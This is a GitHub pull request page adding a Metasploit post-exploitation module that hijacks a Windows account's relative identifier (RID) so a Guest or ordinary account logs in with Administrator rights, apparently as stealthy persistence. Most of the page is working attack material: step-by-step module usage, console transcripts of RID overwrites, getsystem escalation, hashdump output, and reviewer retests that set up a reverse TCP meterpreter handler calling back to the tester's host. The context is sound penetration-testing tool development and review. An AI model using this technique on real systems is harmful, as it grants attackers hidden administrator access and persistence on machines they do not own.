New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add post module RID Hijacking on Windows #9595

Merged
merged 4 commits into from Apr 3, 2018

Conversation

Projects
None yet
5 participants
@r4wd3r
Copy link
Contributor

r4wd3r commented Feb 20, 2018

Overview

This module will create an entry on the target by modifying some properties of an existing account. It will change the account attributes by setting a Relative Identifier (RID), which should be owned by one existing account on the destination machine.

Taking advantage of some Windows Local Users Management integrity issues, this module will allow to authenticate with one known account credentials (like GUEST account), and access with the privileges of another existing account (like ADMINISTRATOR account), even if the spoofed account is disabled.

By using a meterpreter session against a Windows host, the module will try to acquire SYSTEM privileges if needed, and will modify some attributes to hijack the permissions of an existing local account and set them to another one.

For more information see csl.com.co.

Vulnerable Software

This module has been tested against:

  • Windows XP, 2003. (32 bits)
  • Windows 8.1 Pro. (64 bits)
  • Windows 10. (64 bits)
  • Windows Server 2012. (64 bits)

This module was not tested against, but may work on:

  • Other versions of windows (x86 and x64).

Options

  • GETSYSTEM: Try to get SYSTEM privileges on the victim. Default: false

  • GUEST_ACCOUNT: Use the GUEST built-in account as the destination of the privileges to be hijacked. Set this account as the hijacker. Default: false.

  • SESSION: The session to run this module on. Default: none.

  • USERNAME: Set the user account (SAM Account Name) of the victim host which will be the destination of the privileges to be hijacked. Set this account as the hijacker. If GUEST_ACCOUNT option is set to true, this parameter will be ignored if defined. Default: none.

  • PASSWORD: Set or change the password of the account defined as the destination of the privileges to be hijacked, either GUEST account or the user account set in USERNAME option. Set password to the hijacker account. Default: none.

  • RID: Specify the RID number in decimal of the victim account. This number should be the RID of an existing account on the target host, no matter if it is disabled (i.e.: The RID of the Administrator built-in account is 500). Set the RID owned by the account that will be hijacked. Default: 500

Verification steps

  1. Get a meterpreter session on some host.
  2. Do: use post/windows/manage/rid_hijack
  3. Do: set SESSION <SESSION_ID> replacing <SESSION_ID> with the desired session.
  4. Do: set GET_SYSTEM true.
  5. Do: set GUEST_ACCOUNT true.
  6. Do: run
  7. Log in on the victim host with the GUEST account credentials.

Scenarios

Assigning Administrator privileges to Guest built-in account.

msf post(rid_hijack) > set GETSYSTEM true
GETSYSTEM => true
msf post(rid_hijack) > set GUEST_ACCOUNT true
GUEST_ACCOUNT => true
msf post(rid_hijack) > set SESSION 1
SESSION => 1
msf post(rid_hijack) > run

[*] Checking for SYSTEM privileges on session
[+] Session is already running with SYSTEM privileges
[*] Target OS: Windows 8.1 (Build 9600).
[*] Target account: Guest Account
[*] Target account username: Invitado
[*] Target account RID: 501
[*] Account is disabled, activating...
[+] Target account enabled
[*] Overwriting RID
[+] The RID 500 is set to the account Invitado with original RID 501
[*] Post module execution completed

Results after login in as the Guest account.

guest_account

Assigning Administrator privileges to local custom account.

msf post(rid_hijack) > set GETSYSTEM true
GETSYSTEM => true
msf post(rid_hijack) > set GUEST_ACCOUNT false
GUEST_ACCOUNT => false
msf post(rid_hijack) > set USERNAME testuser
USERNAME => testuser
msf post(rid_hijack) > run

[*] Checking for SYSTEM privileges on session
[+] Session is already running with SYSTEM privileges
[*] Target OS: Windows 8.1 (Build 9600).
[*] Checking users...
[+] Found testuser account!
[*] Target account username: testuser
[*] Target account RID: 1002
[+] Target account is already enabled
[*] Overwriting RID
[+] The RID 500 is set to the account testuser with original RID 1002
[*] Post module execution completed

Results after login in as the testuser account.

testuser

Assigning custom privileges to Guest built-in account and setting new password to Guest.

msf post(rid_hijack) > set GUEST_ACCOUNT true
GUEST_ACCOUNT => true
msf post(rid_hijack) > set RID 1002
RID => 1002
msf post(rid_hijack) > set PASSWORD Password.1
PASSWORD => Password.1
msf post(rid_hijack) > run

[*] Checking for SYSTEM privileges on session
[+] Session is already running with SYSTEM privileges
[*] Target OS: Windows 8.1 (Build 9600).
[*] Target account: Guest Account
[*] Target account username: Invitado
[*] Target account RID: 501
[+] Target account is already enabled
[*] Overwriting RID
[+] The RID 1002 is set to the account Invitado with original RID 501
[*] Setting Invitado password to Password.1
[*] Post module execution completed

Assigning custom privileges to local custom account and setting new password to custom account.

msf post(rid_hijack) > set GUEST_ACCOUNT false
GUEST_ACCOUNT => false
msf post(rid_hijack) > set USERNAME testuser
USERNAME => testuser
msf post(rid_hijack) > set PASSWORD Password.2
PASSWORD => Password.2
msf post(rid_hijack) > run

[*] Checking for SYSTEM privileges on session
[+] Session is already running with SYSTEM privileges
[*] Target OS: Windows 8.1 (Build 9600).
[*] Checking users...
[+] Found testuser account!
[*] Target account username: testuser
[*] Target account RID: 1002
[+] Target account is already enabled
[*] Overwriting RID
[+] The RID 1002 is set to the account testuser with original RID 1002
[*] Setting testuser password to Password.2
[*] Post module execution completed

@r4wd3r r4wd3r changed the title RID Hijacking Windows Post Module Add post module RID Hijacking on Windows Feb 21, 2018

@r4wd3r

This comment has been minimized.

Copy link
Contributor

r4wd3r commented Feb 21, 2018

@bwatters-r7 I've adjusted a bit the module documentation, adding some stuff mentioned in module_doc_template.md. I'd appreciate if you would come back to me with your comments about it.

Thank you in advance.

@sempervictus

This comment has been minimized.

Copy link
Contributor

sempervictus commented Feb 21, 2018

Its like the entire os and directory stack is just a honeycomb of persistence hooks...
Thanks a ton @r4wd3r, will get this tested and integrated into the workflow.

@bwatters-r7

This comment has been minimized.

Copy link
Contributor

bwatters-r7 commented Feb 22, 2018

@r4wd3r, I meant adding a md doc to the branch for documentation purposes: https://github.com/rapid7/metasploit-framework/wiki/Writing-Module-Documentation

@r4wd3r

This comment has been minimized.

Copy link
Contributor

r4wd3r commented Feb 22, 2018

@bwatters-r7 My bad, now I've already commited the KB at documentation/post/windows/manage/rid_hijack.md. Let me know if anything else is missing :)


- **GETSYSTEM**: Try to get _**SYSTEM**_ privileges on the victim. Default: `false`

- **GUEST_ACCOUNT**: Use the _**GUEST**_ built-in account as the destination of the privileges to be hijacked . Set this account as the _hijacker_. Default: `false`.

This comment has been minimized.

@h00die

h00die Feb 23, 2018

Contributor

no space between hijacked and .


- **SESSION**: The session to run this module on. Default: `none`.

- **USERNAME**: Set an user account (_SAM Account Name_) of the victim host and use it as the destination of the privileges to be _hijacked_. Set this account as the _hijacker_. If **GUEST_ACCOUNT** option is set to `true`, this parameter will be ignored if defined. Default: `none`.

This comment has been minimized.

@h00die

h00die Feb 23, 2018

Contributor

an = the?

[*] Post module execution completed
```

## Reference

This comment has been minimized.

@h00die

h00die Feb 23, 2018

Contributor

Remove this, and put the website up in the overview. I'd suggest something like:
For more information see [csl.com.co](http://csl.com.co/rid-hijacking/).

@r4wd3r

This comment has been minimized.

Copy link
Contributor

r4wd3r commented Feb 23, 2018

Thanks @h00die for your review. I've adjusted the rid_hijack.md file with your recommendations.

@bwatters-r7 bwatters-r7 self-assigned this Mar 6, 2018

@bwatters-r7

This comment has been minimized.

Copy link
Contributor

bwatters-r7 commented Mar 15, 2018

In a quick test, the module says that it successfully changed the RID of the guest account, but that's not reflected in the output of hashdump or wmi :

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > hashdump
Administrator:500:[redacted]0:::
DefaultAccount:503:[redacted]:[redacted]:::
Guest:501:[redacted]:[redacted]:::
msfuser:1000:[redacted]:[redacted]:::
meterpreter > background
[*] Backgrounding session 2...
msf exploit(handler) > use post/windows/manage/rid_hijack 
msf post(rid_hijack) > set GET_SYSTEM True
GET_SYSTEM => True
msf post(rid_hijack) > set GUEST_ACCOUNT true
GUEST_ACCOUNT => true
msf post(rid_hijack) > set session 2
session => 2
msf post(rid_hijack) > run

[*] Checking for SYSTEM privileges on session
[+] Session is already running with SYSTEM privileges
[*] Target OS: Windows 10 (Build 10586).
[*] Target account: Guest Account
[*] Target account username: Guest
[*] Target account RID: 501
[*] Account is disabled, activating...
[+] Target account enabled
[*] Overwriting RID
[+] The RID 500 is set to the account Guest with original RID 501
[*] Post module execution completed
msf post(rid_hijack) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > hashdump
Administrator:500:[redacted]:[redacted]:::
DefaultAccount:503:[redacted]:[redacted]:::
Guest:501:[redacted]:[redacted]:::
msfuser:1000:[redacted]:[redacted]:::
meterpreter > execute -i -f cmd.exe
Process 5208 created.
Channel 1 created.
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\msfuser\Downloads>wmic useraccount get name,sid
wmic useraccount get name,sid
Name            SID                                             
Administrator   S-1-5-21-3849137388-3223386374-3519851273-500   
DefaultAccount  S-1-5-21-3849137388-3223386374-3519851273-503   
Guest           S-1-5-21-3849137388-3223386374-3519851273-501   
msfuser         S-1-5-21-3849137388-3223386374-3519851273-1000  


C:\Users\msfuser\Downloads>
@r4wd3r

This comment has been minimized.

Copy link
Contributor

r4wd3r commented Mar 17, 2018

@bwatters-r7 Have you tried to login as GUEST in your machine after running the module?

About your test, I've found this behavior is pretty normal after the module execution, because hashdump and wmic commands load the user info from lsass.exe and other processes running before the module execution. On the other hand, when login in to the machine as anyone, the privileges are obtained by using the registry key modified by the module.

This module doesn't change the RID of an user in all the registry keys which it is located, but only in one which causes the integrity issue being exploitable. It means it'll not change the RID from one to another in all the system data (in your case, from 501 to 500), that's why this attack is stealthy ;)

I've done your test and I got the same results as you, but still being capable of login as GUEST with Administrator privileges.

msf post(rid_hijack) > set GUEST_ACCOUNT true
GUEST_ACCOUNT => true
msf post(rid_hijack) > set SESSION 1 
SESSION => 1
msf post(rid_hijack) > set PASSWORD Password.1
PASSWORD => Password.1
msf post(rid_hijack) > run

[*] Checking for SYSTEM privileges on session
[+] Session is already running with SYSTEM privileges
[*] Target OS: Windows 8.1 (Build 9600).
[*] Target account: Guest Account
[*] Target account username: Invitado
[*] Target account RID: 501
[*] Account is disabled, activating...
[+] Target account enabled
[*] Overwriting RID
[+] The RID 500 is set to the account Invitado with original RID 501
[*] Setting Invitado password to Password.1
[*] Post module execution completed
msf post(rid_hijack) > sessions -i 1 
[*] Starting interaction with 1...

meterpreter > hashdump 
Administrador:500:....
Invitado:501:...
testuser:1002:...
user:1001:...

meterpreter > execute -i -f cmd.exe
Process 3108 created.
Channel 1 created.
Microsoft Windows [Versi�n 6.3.9600]
(c) 2013 Microsoft Corporation. Todos los derechos reservados.

C:\tmp>wmic useraccount get name,sid
wmic useraccount get name,sid
Name           SID                                             
Administrador  S-1-5-21-2190652972-2907246710-3094337842-500   
Invitado       S-1-5-21-2190652972-2907246710-3094337842-501   
testuser       S-1-5-21-2190652972-2907246710-3094337842-1002  
user           S-1-5-21-2190652972-2907246710-3094337842-1001  

After login as GUEST on the victim host, executed cmd.exe to test the acquired privileges:

C:\Users\Invitado>whoami
w8a4ca\invitado

C:\Users\Invitado>echo "SUCCESSFUL" >> c:\Windows\System32\success.txt

C:\Users\Invitado>type c:\Windows\System32\success.txt
"SUCCESSFUL"

Thanks for your comment, please try to login to the victim host and let me know if it works.

@r4wd3r

This comment has been minimized.

Copy link
Contributor

r4wd3r commented Mar 29, 2018

Ping @h00die : Hi. It's been a while since I modified the .md file with your recommendations, but this PR still has the needs-docs tag. Is there anything else missing about documentation?

Thanks in advance!

@h00die h00die added docs and removed needs-docs labels Mar 29, 2018

@h00die

This comment has been minimized.

Copy link
Contributor

h00die commented Mar 29, 2018

Done. That wouldn't be a hold up. @bwatters-r7 is a seasoned veteran and would have just switched it

@bwatters-r7

This comment has been minimized.

Copy link
Contributor

bwatters-r7 commented Apr 2, 2018

Sorry about that; I was out most of last week wandering in the woods. Back this week.
It looks like there are some odd limitations on the guest account, and previously I was trying to find a automated way to test, but I'm going to give up on that.

My test process:
(1) Get admin session on windows 7x64sp1 by manually uploading a meterpreter payload as an exe and running as administrator
(2) getsystem
(3) run this
(4) log back in via gui as guest
(5) Launch explorer.exe (through the Windows menu- the shortcut does not work?)
(6) launch the same exe meterpreter
(7) In the "guest" session run getsystem
(8) Profit

First session:

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > background
[*] Backgrounding session 2...
msf post(rid_hijack) > run

[*] Checking for SYSTEM privileges on session
[+] Session is already running with SYSTEM privileges
[*] Target OS: Windows 7 (Build 7601, Service Pack 1).
[*] Target account: Guest Account
[*] Target account username: Guest
[*] Target account RID: 501
[+] Target account is already enabled
[*] Overwriting RID
[+] The RID 500 is set to the account Guest with original RID 501
[*] Post module execution completed
msf post(rid_hijack) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.134.154 - Meterpreter session 2 closed.  Reason: User exit

Second Session (with guest account)

msf post(rid_hijack) > use exploit/multi/handler 
msf exploit(handler) > run

[*] Started reverse TCP handler on 192.168.135.111:4567 
[*] Sending stage (205891 bytes) to 192.168.134.154
[*] Meterpreter session 3 opened (192.168.135.111:4567 -> 192.168.134.154:49200) at 2018-04-02 14:26:22 -0500

meterpreter > sysinfo
Computer        : WIN7X64SP1
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x64/windows
meterpreter > getuid
Server username: WIN7X64SP1\Guest
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > 
rid = skey['Type']
return rid
if not skey
print_error("Could not open user's key")

This comment has been minimized.

@bwatters-r7

bwatters-r7 Apr 2, 2018

Contributor

This code will never get executed? Did you maybe forget an 'end'?

This comment has been minimized.

@bwatters-r7

bwatters-r7 Apr 2, 2018

Contributor

FYI, I suggest running rubocop on this code, as there are some ruby-centric sylistic issues: https://github.com/rapid7/metasploit-framework/wiki/Using-Rubocop
Nothing bad, since it is a lot of "ruby-isms" like parentheses, whitespace, etc. Please read through the rubocop usage and then take a look at the suggestions from rubocop. Like it says in the wiki, we are not looking for 0 offenses, as sometimes, rubocop can be a bit overzealous, but if you ignore suggestions, there should be a reason for doing so.

This comment has been minimized.

@r4wd3r

r4wd3r Apr 2, 2018

Contributor

This code is executed when the module runs with GUEST_ACCOUNT false and USERNAME set. That's the case when you want to modify the attributes of a custom local account (even another built-in account) instead of the Guest built-in account.

@r4wd3r

This comment has been minimized.

Copy link
Contributor

r4wd3r commented Apr 2, 2018

Hi again @bwatters-r7, I hope you enjoyed your well-earned vacation!

Glad to hear you could run the module successfully with the Guest account as Administrator. I've checked your last code review (for which I thank you), and will try to apply all the rubocop recommended style changes.

As I've said at the review, the code you mention only runs if an USERNAME is set and GUEST_ACCOUNT is false; however as I wrote in the documentation, this module can be executed not only using the default Guest:Administrator combination but also by using custom local accounts (like msfuser at your own machine). You can also change the RID to a diferent value owned by another existant account.

To execute the snippet you mention, you can try, for example:

  • Msfuser:Guest

Set the useful privileges of the Guest account (?) to the custom msfuser local account

msf post(rid_hijack) > set GUEST_ACCOUNT false  <---- If true, will ignore the USERNAME option.
GUEST_ACCOUNT => false
msf post(rid_hijack) > set RID 501  <---- The Guest RID.
RID => 501
msf post(rid_hijack) > set USERNAME msfuser      <---- Username of the target account.
USERNAME => msfuser
  • Guest:Msfuser

Set the msfuser (RID: 1000) privileges to the Guest account without using the GUEST_ACCOUNT option:

msf post(rid_hijack) > set GUEST_ACCOUNT false
GUEST_ACCOUNT => false
msf post(rid_hijack) > set RID 1000     <---- msfuser RID.
RID => 1000
msf post(rid_hijack) > set USERNAME GuEsT     <---- Case insensitive.
USERNAME => GuEsT

You could even try custom1:custom2, but I think with these tests you'll get that piece of code executed.

Thanks again, and let me know if something else is needed.

@r4wd3r

This comment has been minimized.

Copy link
Contributor

r4wd3r commented Apr 3, 2018

@bwatters-r7 As I should have thought, you were totally right about the missing end at the code review, was a return mistake that I've already fixed.

I've adjusted every rubocop recommendation, and got 0 offenses. However, you can do the tests I've mentioned in my previous comment if necessary.

@bwatters-r7

This comment has been minimized.

Copy link
Contributor

bwatters-r7 commented Apr 3, 2018

@r4wd3r No worries; I am significantly more comfortable in C or Python than I am in Ruby, so most of the rubocop stuff you got dinged for is the same thing I got/get dinged for, too. Rubocop is a great teacher for accepted Ruby syntax if something else is your first language.

Retest

msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set lport 4567
lport => 4567
msf exploit(handler) > set lhost 192.168.135.11
lhost => 192.168.135.11
msf exploit(handler) > set lhost 192.168.135.111
lhost => 192.168.135.111
msf exploit(handler) > run

[*] Started reverse TCP handler on 192.168.135.111:4567 
[*] Sending stage (205891 bytes) to 192.168.134.154
[*] Meterpreter session 1 opened (192.168.135.111:4567 -> 192.168.134.154:49221) at 2018-04-03 13:59:19 -0500

meterpreter > sysinfo
Computer        : WIN7X64SP1
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: WIN7X64SP1\vagrant
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use post/windows/manage/rid_hijack 
msf post(rid_hijack) > show options

Module options (post/windows/manage/rid_hijack):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   GETSYSTEM      false            yes       Attempt to get SYSTEM privilege on the target host.
   GUEST_ACCOUNT  false            yes       Assign the defined RID to the Guest Account.
   PASSWORD                        no        Password to set to the defined user account.
   RID            500              yes       RID to set to the specified account.
   SESSION                         yes       The session to run this module on.
   USERNAME                        no        User to set the defined RID.

msf post(rid_hijack) > set getsystem true
getsystem => true
msf post(rid_hijack) > set guest_account true
guest_account => true
msf post(rid_hijack) > set session 1
session => 1
msf post(rid_hijack) > run

[*] Checking for SYSTEM privileges on session
[+] Session is already running with SYSTEM privileges
[*] Target OS: Windows 7 (Build 7601, Service Pack 1).
[*] Target account: Guest Account
[*] Target account username: Guest
[*] Target account RID: 501
[*] Account is disabled, activating...
[+] Target account enabled
[*] Overwriting RID
[+] The RID 500 is set to the account Guest with original RID 501
[*] Post module execution completed
msf post(rid_hijack) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.134.154 - Meterpreter session 1 closed.  Reason: User exit
msf post(rid_hijack) > use exploit/multi/handler 
msf exploit(handler) > run

[*] Started reverse TCP handler on 192.168.135.111:4567 
[*] Sending stage (205891 bytes) to 192.168.134.154
[*] Meterpreter session 2 opened (192.168.135.111:4567 -> 192.168.134.154:49222) at 2018-04-03 14:05:35 -0500

meterpreter > getuid
Server username: WIN7X64SP1\Guest
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

@bwatters-r7 bwatters-r7 merged commit d6dc0a2 into rapid7:master Apr 3, 2018

3 checks passed

Metasploit Automation - Sanity Test Execution Successfully ran sanity checks.
Details
Metasploit Automation - Test Execution Successfully ran `autoPayloadTest.py`.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details

bwatters-r7 added a commit that referenced this pull request Apr 3, 2018

@bwatters-r7

This comment has been minimized.

Copy link
Contributor

bwatters-r7 commented Apr 3, 2018

Release Notes

The post/windows/manage/rid_hijack module has been added to the framework. It quietly changes the relative identifier (RID) of an existing account to grant system privileges. You can then authenticate with known credentials for another account and use the privileges of the elevated account, even if the spoofed account is disabled.

@r4wd3r

This comment has been minimized.

Copy link
Contributor

r4wd3r commented Apr 3, 2018

msjenkins-r7 added a commit that referenced this pull request Apr 5, 2018

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment